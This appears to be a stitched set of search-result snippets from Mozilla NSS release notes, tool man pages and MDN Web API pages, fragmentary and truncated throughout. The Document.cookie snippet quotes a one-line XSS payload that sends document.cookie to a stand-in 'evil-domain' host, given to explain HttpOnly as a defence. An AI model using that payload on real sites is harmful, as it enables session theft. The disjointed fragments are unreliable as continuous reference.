libpkix: an rfc 3280 compliant certificate path validation library (see pkixverify) pk11token.needslogin method (see needslogin) support hmacsha256, hmacsha384, and hmacsha512 (see hmactest.java) support for all nss 3.12 initialization options (see initializationvalues) new ssl error codes (see http://mxr.mozilla.org/security/sour...util/sslerrs.h) ssl_error_unsupported_extension_alert ssl_error_certificate_unobtainable_alert ssl_error_unrecognized_name_alert ssl_error_bad_cert_status_response_alert ssl_error_bad_cert_hash_value_alert new tls cipher suites (see http://mxr.mozilla.org/security/sour...sslsocket.java): tls_rsa_with_camellia_128_cbc_sha tls_...
... source tarballs are available from https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/src/jss-4.3.tar.bz2 binary releases are no longer available on mozilla.
...https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/ documentation documentation for jss 4.3 is available as follows: build instructions for jss 4.3 javadoc [online] [zipped] read the instructions on using jss.
... source may be viewed with a browser (via the mxr tool) at http://mxr.mozilla.org/mozilla/source/security/jss/ the run time behavior of jss can be affected by the nss environment variables.
NSS_3.12.2_release_notes.html
nss 3.12.2 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_2_rtm/src/.
... binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_2_rtm/.
...nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/.
... bug 432260: [[@ pkix_pl_httpdefaultclient_hdrcheckcomplete - pkix_pl_memcpy] crashes when there is no content-length header in the http response bug 436599: pkix: aia extension is not used in some bridge ca / known certs configuration bug 437804: certutil -r for cert renewal should derive the subject from the cert if none is specified.
NSS 3.12.4 release notes
nss 3.12.4 source is also available on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_4_rtm/src/.
...currently nss 3.12.4 is in the "review pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h).
...support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnection reuses closed socket bug 470070: multiple object leaks reported by tinderbox bug 470479: io timeout during cert fetching makes libpkix abort validation.
...able optimized builds for mozilla on macosx bug 498511: produce debuggable optimized nss builds for mozilla on linux bug 499385: drbg reseed function needs to be tested on post bug 499825: utilrename.h is missing from solaris packages bug 502961: allocator mismatch in pk11mode bug 502965: allocator mismatch in sdrtest bug 502972: another allocator mismatch in sdrtest bug 504398: pkix_pl_aiamgr_gethttpcerts could crash if sec_getregisteredhttpclient fails bug 504405: pkix_pl_crldp_create will fail on alloc success because of a missing !
Notes on TLS - SSL 3.0 Intolerant Servers
problem a number of netscape 6.x/7.x and mozilla users have reported that some secure sites -- typically sites featuring online transactions or online banking over the https protocol -- do not display any content at all.
...) domino-go-webserver/4.6.2.6 (and perhaps some later versions) ibm_http_server/1.3.6.3 or earlier (* update to 1.3.6.4) ibm_http_server/1.3.12.1 or earlier (* update to 1.3.12.2) java web server 2 osu/3.2 - decthreads http server for openvm stronghold/2.2 webmail v.
...to do so, add http://toolbar.netcraft.com/site_report?url= to the beginning of the url.
... for instance, to check https://bugzilla.mozilla.org/, then visit http://toolbar.netcraft.com/site_rep...a.mozilla.org/.
NSS tools : cmsutil
the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/.
... for information specifically about nss, the nss project wiki is located at [2]http://www.mozilla.org/projects/security/pki/nss/.
...http://pki.fedoraproject.org/wiki/ 2.
... http://www.mozilla.org/projects/security/pki/nss/ ...
NSS_3.12.3_release_notes.html
nss 3.12.3 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_3_rtm/src/.
... binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_3_rtm/.
...nspr 4.7.4 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.4/.
...the information in this table is excerpted from https://developer.mozilla.org/en/nss_reference/nss_environment_variables environment variable value type description nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see below).
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/.
... for information specifically about nss, the nss project wiki is located at [2]http://www.mozilla.org/projects/security/pki/nss/.
...http://pki.fedoraproject.org/wiki/ 2.
... http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/.
... for information specifically about nss, the nss project wiki is located at [2]http://www.mozilla.org/projects/security/pki/nss/.
...http://pki.fedoraproject.org/wiki/ 2.
... http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also certutil (1) pk12util (1) signtool (1) the nss wiki has information on the new database design and how to configure applications to use it.
... o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [2]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : pk12util
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also certutil (1) modutil (1) the nss wiki has information on the new database design and how to configure applications to use it.
... o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : signver
MozillaProjectsNSStoolssignver
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also signtool (1) the nss wiki has information on the new database design and how to configure applications to use it.
... o setting up the shared nss database https://wiki.mozilla.org/nss_shared_db_howto o engineering and technical information about the shared nss database https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
A Web PKI x509 certificate primer
*.yourcompany.com) but you want others outside of your organization to be able to browse to your website using https without having to manually import a root certificate, then you can get an ssl certificate from one of the cas who already have a root certificate included in the major browsers.
... write extensions file (openssl.int.cnf) basicconstraints = critical, ca:true authoritykeyidentifier = keyid, issuer subjectkeyidentifier = hash keyusage = keycertsign, crlsign extendedkeyusage =serverauth authorityinfoaccess = ocsp;uri:http://ocsp.example.com:8888/ sign the intermediate csr with the root key and the intermediate extensions "openssl x509 -req -sha256 -days 2922 -in int.csr -cakey rootkey.pem -ca root.pem -set_serial $some_large_integer -out int.pem -extfile openssl.int.cnf" generate the end entity certificate update www.example.com below to match your domain.
... write extensions file (make a new file with name openssl.ss.cnf with the following contents) basicconstraints = ca:false subjectaltname =dns:www.example.com extendedkeyusage =serverauth authorityinfoaccess = ocsp;uri:http://ocsp.example.com:80/ intermediate signs the csr (using sha256) and appends the extensions described in the file "openssl x509 -req -sha256 -days 1096 -in example.csr -cakey intkey.pem -ca int.pem -set_serial $some_large_integer -out www.example.com.pem -extfile openssl.int.cnf" security notes there are several organizations that provide recommendations regarding the security...
...these are the recomendations of bit sizes (from http://www.keylength.com/): asymmetric ecc(key) hash linestra(2004) 1902 172 172 ecrypt 2012 2432 224 224 nist 2012 2048 224 224 anssi 2010 4096 200 256 rfc 3766 2358 200 --- bsi 1976 256 256 in other words, sha1 is now deprecated for new uses.
Building the WebLock UI
the "shell" for the xul file, then, looks like this: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="weblock_ui" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="web lock manager" persist="screenx screeny" screenx="24" screeny="24"> </dialog> note that this part of the xul file also contains a stylesheet declaration, which imports css rules and applies them to particular parts of the interface.
... weblock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="weblock_mgg" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="web lock manager" style="width: 30em;" persist="screenx screeny" screenx="24" screeny="24"> <script src="chrome://weblock/content/weblock.js"/> <hbox> <separator orient="vertical" class="thin"/> <vbox flex="1"> <separator class="thin"/> <hbox align="center"> <textbox id="dia...
...here is that xul file in its entirety: the weblock overlay <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/weblock.css" type="text/css"?> <overlay id="weblockoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://weblock/content/weblock.js"/> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-status" oncommand="loadweblock();" status=...
... image resources if you are following along with this tutorial and want to use the images we use here for the states of the weblock component in the statusbar, you can download them and the other resources for weblock from http://www.brownhen.com/weblock.
Mozilla internal string guide
used for http headers and for size-optimized storage in text node and spidermonkey strings.
... it is correct to use these on most http header values, but it's always wrong to use these on http response bodies!
... // modify the url and pass to addpage(const char16_t* url) void addmodifiedpage(const nsastring& url) { constexpr auto httpprefix = u"http://"_ns; const nsastring& modifiedurl = httpprefix + url; // creates a temporary buffer addpage(promiseflatstring(modifiedurl).get()); } promiseflatstring() is smart when handed a string that is already null-terminated.
... // modify the url and pass to addpage(const char16_t* url) void addmodifiedpage(const nsastring& url, prbool addprefix) { if (addprefix) { // must create a temporary buffer - string is multi-fragmented constexpr auto httpprefix = u"http://"_ns; addpage(promiseflatstring(httpprefix + modifiedurl)); } else { // might create a temporary buffer, does a runtime check addpage(promiseflatstring(url).get()); } } printf and a utf-16 string for debugging, it's useful to printf a utf-16 string (nsstring, nsautostring, etc).
mozIThirdPartyUtil
this is done as follows: if achannel is an nsihttpchannel and has the 'forceallowthirdpartycookie' property set, then: if auri is null, return false.
...for example, if auri is "http://mail.google.com/", achannel has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true.
...for example, the uri "http://mail.google.com/" is not third party with respect to "http://images.google.com/", but "http://mail.yahoo.com/" and "http://192.168.1.1/" are.
...(this means that nested iframes with different base domains, even though the bottommost and topmost uris might be equal, will be considered third party.) for example, if auri is "http://mail.google.com/", 'awindow' has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true.
nsICategoryManager
("http") avalue the value for the category entry.
... ("moz.httprulez.1") apersist no longer supported.
...("http") apersist ignored.
...("http") return value the value of the given category's entry.
Using nsILoginManager
an nsilogininfo object contains the following attributes: hostname, form submit url, http realm, username, username field, password, and password field.
... the hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an http/ftp authentication site login.
...defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="passw...
...ord" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this would correspond to a login on http://www.example.com when the server sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIPluginHost
methods native code only!createtempfiletopost to create temp file with content len header in, it will use by http post.
... to create temp file with content len header in, it will use by http post.
... void newpluginnativewindow( out nspluginnativewindowptr apluginnativewindow ); parameters apluginnativewindow native code only!parsepostbuffertofixheaders this method parses post buffer to find out case insensitive "content-length" string and cr or lf some where after that, then it assumes there is http headers in the input buffer and continue to search for end of headers (crlfcrlf or lflf).
... it will *always malloc()* output buffer (caller is responsible to free it) if input buffer starts with lf, which comes from 4.x spec http://developer.netscape.com/docs/manuals/communicator/plugin/pgfn2.htm#1007754 "if no custom headers are required, simply add a blank line ('\n') to the beginning of the file or buffer.", it skips that '\n' and considers rest of the input buffer as data.
nsIUpdateCheckListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
... void oncheckcomplete( in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount ); parameters request the nsixmlhttprequest object handling the update check.
...void onerror( in nsixmlhttprequest request, in nsiupdate update ); parameters request the nsixmlhttprequest object handling the update check.
...void onprogress( in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize ); parameters request the nsixmlhttprequest object handling the update check.
Theme Packaging
install.rdf your install.rdf manifest will look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:type>4</em:type> more properties </description> </rdf> required install.rdf properties your install.rdf file must have the following properties.
... see the install.rdf reference for more information: em:id em:version em:type em:targetapplication em:name em:internalname optional install.rdf properties em:description em:creator em:contributor em:homepageurl em:updateurl note that if your theme will be made available on the https://addons.mozilla.org website, it may not include an updateurl.
... sample install.rdf file <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{18b64b56-d42f-428d-a88c-baa413bc413f}</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this extension can install into, with minimum and maximum supported versions.
...e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some common target application guids that you can use in your targetapplication properties: thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} pale ...
Using the Mozilla symbol server
the official symbol server url for firefox is https://symbols.mozilla.org/.
...to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command.
... if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows.
... the command should look like this (again, you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): c:\program files\mozilla firefox>c:\progra~1\debugg~1\symchk.exe /r c:\progra~1\mozill~1\* /s srv*c:\symcache\*https://symbols.mozilla.org/ note the \* after the mozilla directory.
Plug-in Basics - Plugins
about distributions: example debian 64bit probably use: /lib/x86_64-linux-gnu/ --> for 64 libs /lib/i386-linux-gnu/ --> for 32 libs if exist /lib32/ --> this is symlinked (or bind mounted) desired proper directory /lib64/ --> this is symlinked (or bind mounted) desired proper directory more in https://wiki.debian.org/multiarch/thecaseformultiarch if something wrong, please edit.
... example 1: nesting object elements <html> <head> <title>example 1: nesting object elements</title> <style type="text/css"> .myplugin { width: 470px; height: 231px; } </style> </head> <body><p> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,30,0" class="myplugin"> <param name="movie" value="foo.swf"/> <param name="quality" value="high"/> <param name="salign" value="tl"/> <param name="menu" value="0"/> <object data="foo_movie.swf" type="application/x-shockwave-flash" class="myplugin"/> <param nam...
...e="quality" value="high"/> <param name="salign" value="tl"/> <param name="menu" value="0"/> <object type="*" class="myplugin"> <param name="pluginspage" value="http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash"/> </object> </object> </object> </p></body> </html> the outermost object element defines the classid; the first nested object uses the type value application/x-shockwave-flash to load the adobe flash plug-in, and the innermost object exposes a download page for users that do not already have the necessary plug-in.
... example 2: embed within object <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,30,0" width="749" height="68"> <param name="movie" value="foo.swf"> <param name="quality" value="high"> <param name="bgcolor" value="#eeeeee"> <param name="salign" value="tl"> <param name="menu" value="0"> <embed src="foo.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?
Cache.match() - Web APIs
WebAPICachematch
for example, if set to true the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match.
... ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... in this example, only html documents retrieved with the get http verb will be cached.
...if fetch() returns a valid http response with an response code in the 4xx or 5xx range, the catch() will not be called.
Basic animations - Web APIs
var sun = new image(); var moon = new image(); var earth = new image(); function init() { sun.src = 'https://mdn.mozillademos.org/files/1456/canvas_sun.png'; moon.src = 'https://mdn.mozillademos.org/files/1443/canvas_moon.png'; earth.src = 'https://mdn.mozillademos.org/files/1429/canvas_earth.png'; window.requestanimationframe(draw); } function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.globalcompositeoperation = 'destination-over'; ctx.clearrect(0, 0, 30...
... img.src = 'https://mdn.mozillademos.org/files/4553/capitan_meadows,_yosemite_national_park.jpg'; var canvasxsize = 800; var canvasysize = 200; var speed = 30; // lower is faster var scale = 1.05; var y = -4.5; // vertical offset // main program var dx = 0.75; var imgw; var imgh; var x = 0; var clearx; var cleary; var ctx; img.onload = function() { imgw = img.width * scale; imgh = img.height * scale; ...
... <canvas id="canvas" width="800" height="200"></canvas> mouse following animation <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>document</title> <script> var cn; //= document.getelementbyid('cw'); var c; var u = 10; const m = { x: innerwidth / 2, y: innerheight / 2 }; window.onmousemove = function(e) { m.x = e.clientx; ...
... margin: 0; padding: 0; background-color: rgba(0,0,0,0.05); } </style> </head> <body> <canvas id="cw"></canvas> </body> </html> output snake game <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>nokia 1100:snake..member berries</title> </head> <body> <div class="keypress hide"> <div class="up" onclick="emit(38)">&#8593;</div> <div class="right" onclick="emit(39)">&#8594;</div> <div class="left" onclick="emit(37)">&#8592;</div> <div class="down" onclick="emit(40)">&#8595;</div> </div> <div c...
DOMParser - Web APIs
WebAPIDOMParser
note: xmlhttprequest can parse xml and html directly from a url-addressable resource, returning a document in its response property.
...examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snippet of the source xml)</sourcetext> </parsererror> the parsing errors are also reported to the error console, with the document uri (see below) as the source of the error.
... domparser html extension /* * domparser html extension * 2012-09-04 * * by eli grey, http://eligrey.com * public domain.
...@source https://gist.github.com/1129031 */ /*global document, domparser*/ (function(domparser) { "use strict"; var proto = domparser.prototype, nativeparse = proto.parsefromstring; // firefox/opera/ie throw errors on unsupported types try { // webkit returns null on unsupported types if ((new domparser()).parsefromstring("", "text/html")) { // text/html parsing is natively supported return; } } catch (ex) {} proto.parsefromstring = function(markup, type) { if (/^\s*text\/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = ...
Document.cookie - Web APIs
WebAPIDocumentcookie
;secure cookie to only be transmitted over secure protocol as https.
... before chrome 52, this flag could appear with cookies from http domains.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
... the reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localstorage): the server tells the client to store a cookie http/1.0 200 ok content-type: text/html set-cookie: cookie_name1=cookie_value1 set-cookie: cookie_name2=cookie_value2; expires=sun, 16 jul 3567 06:23:41 gmt [content of the page here] the client sends back to the server its cookies previously stored get /sample_page.html http/1.1 host: www.example.org cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 accept: */* specifications ...
Using IndexedDB - Web APIs
full indexeddb example html content <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <h1>indexeddb demo: storing blobs, e-publication example</h1> <div class="note"> <p> works and tested with: </p> <div id="compat"> </div> </div> <div id="msg"> </div> <form id="register-form"> <table> <tbody> <tr> <td> ...
... */ function addpublicationfromurl(biblioid, title, year, url) { console.log("addpublicationfromurl:", arguments); var xhr = new xmlhttprequest(); xhr.open('get', url, true); // setting the wanted responsetype to "blob" // http://www.w3.org/tr/xmlhttprequest2/#the-response-attribute xhr.responsetype = 'blob'; xhr.onload = function (evt) { if (xhr.status == 200) { console.log("blob retrieved"); var blob = xhr.response; console.log("blob:", blob); addpublication(biblioid, tit...
... // http://bugs.jquery.com/ticket/11461 // http://bugs.jquery.com/ticket/7248 // $.ajax({ // url: url, // type: 'get', // xhrfields: { responsetype: 'blob' }, // success: function(data, textstatus, jqxhr) { // console.log("blob retrieved"); // console.log("blob:", data); // // addpublication(biblioid, title, year, data); // }, // error: function(jqxhr, textstatus, errorthrown) { // console.error(errorthrown); // displayactionfailure("error during...
... req.onerror = function (evt) { console.error("deletepublicationfrombib:", evt.target.errorcode); }; } /** * @param {number} key * @param {idbobjectstore=} store */ function deletepublication(key, store) { console.log("deletepublication:", arguments); if (typeof store == 'undefined') store = getobjectstore(db_store_name, 'readwrite'); // as per spec http://www.w3.org/tr/indexeddb/#object-store-deletion-operation // the result of the object store deletion operation algorithm is // undefined, so it's not possible to know if some records were actually // deleted by looking at the request result.
URL - Web APIs
WebAPIURL
usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properties can be set to construct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986.
... for instance: url.pathname = 'démonstration.html'; console.log(url.href); // "http://www.example.com/d%c3%a9monstration.html" the urlsearchparams interface can be used to build and manipulate the url query string.
... to get the search params from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly.
... const response = await fetch(new url('http://www.example.com/démonstration.html')); specifications specification status comment file apithe definition of 'url' in that specification.
WebGL best practices - Web APIs
take advantage of universally supported webgl 1 extensions these webgl 1 extensions are universally supported: angle_instanced_arrays ext_blend_minmax oes_element_index_uint oes_standard_derivatives oes_vertex_array_object webgl_debug_renderer_info webgl_lose_context (see also: https://jdashg.github.io/misc/webgl/webgl-feature-levels.html) consider polyfilling these into webglrenderingcontext, like: https://github.com/jdashg/misc/blob/master/webgl/webgl-v1.1.js universally supported limits the minimum requirements for webgl are quite low.
... https://github.com/binomialllc/basis_universal/blob/master/webgl/readme.md memory usage of depth and stencil formats depth and stencil attachments and formats are actually inseparable on many devices.
... non-blocking async data download/readback the approach in webgl 2 is analogous to the approach in opengl: https://jdashg.github.io/misc/async-gpu-downloads.html function clientwaitasync(gl, sync, flags, interval_ms) { return new promise((resolve, reject) => { function test() { const res = gl.clientwaitsync(sync, flags, 0); if (res == gl.wait_failed) { reject(); return; } if (res == gl.timeout_expired) { settimeout(test, interval_ms); return; ...
... demo: https://jdashg.github.io/misc/webgl/device-pixel-presnap.html resizeobserver and 'device-pixel-content-box' on supporting browsers (chromium?), resizeobserver can be used with 'device-pixel-content-box' to request a callback that includes the true device pixel size of an element.
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the behavior flags chrome, dialog and modal).
... passing extra parameters to the dialog to pass extra parameters into the dialog, you can simply supply them after the windowfeatures parameter: opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); the extra parameters will then get packed into a property named arguments of type array, and this property gets added to the newly opened dialog window.
... var retvals = { address: null, delivery: null }; opendialog("http://example.tld/zzz.xul", "dlg", "modal", "pizza", 6.98, retvals); if you set the properties of the retvals object in the dialog code as described below, you can now access them via the retvals array after the opendialog() call returns.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WindowOrWorkerGlobalScope.fetch() - Web APIs
the promise does not reject on http errors — it only rejects on network errors.
... you must use then handlers to check for http errors.
...a fetch() promise does not reject on http errors (404, etc.).
... const myimage = document.queryselector('img'); let myrequest = new request('flowers.jpg'); fetch(myrequest) .then(function(response) { if (!response.ok) { throw new error(`http error!
WindowOrWorkerGlobalScope.setInterval() - Web APIs
pointer; color: #000000; text-decoration: underline; } #info { width: 180px; height: 150px; float: right; background-color: #eeeeff; padding: 4px; overflow: auto; font-size: 12px; margin: 4px; border-radius: 5px; /* visibility: hidden; */ } </style> </head> <body> <p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">copyleft 2012 by <a href="https://developer.mozilla.org/" target="_blank">mozilla developer network</a></p> <p id="controls" style="text-align: center;">[&nbsp;<span class="intlink" onclick="otwexample1.play();">play</span> | <span class="intlink" onclick="otwexample1.pause();">pause</span> | <span class="intlink" onclick="otwexample1.terminate();">terminate</span>&nbsp;]</p> <div id="info"> vivamus blandit massa ut metus matt...
...|*| |*| /docs/web/api/window.setinterval |*| https://developer.mozilla.org/user:fusionchess |*| |*| syntax: |*| var timeoutid = window.settimeout(func, delay[, arg1, arg2, ...]); |*| var timeoutid = window.settimeout(code, delay); |*| var intervalid = window.setinterval(func, delay[, arg1, arg2, ...]); |*| var intervalid = window.setinterval(code, delay); |*| \*/ if (document.all && !window.settimeout.ispolyfill) { var __nativest__ = win...
... minidaemon.js /*\ |*| |*| :: minidaemon :: |*| |*| revision #2 - september 26, 2014 |*| |*| /docs/web/api/window.setinterval |*| https://developer.mozilla.org/user:fusionchess |*| https://github.com/madmurphy/minidaemon.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later.
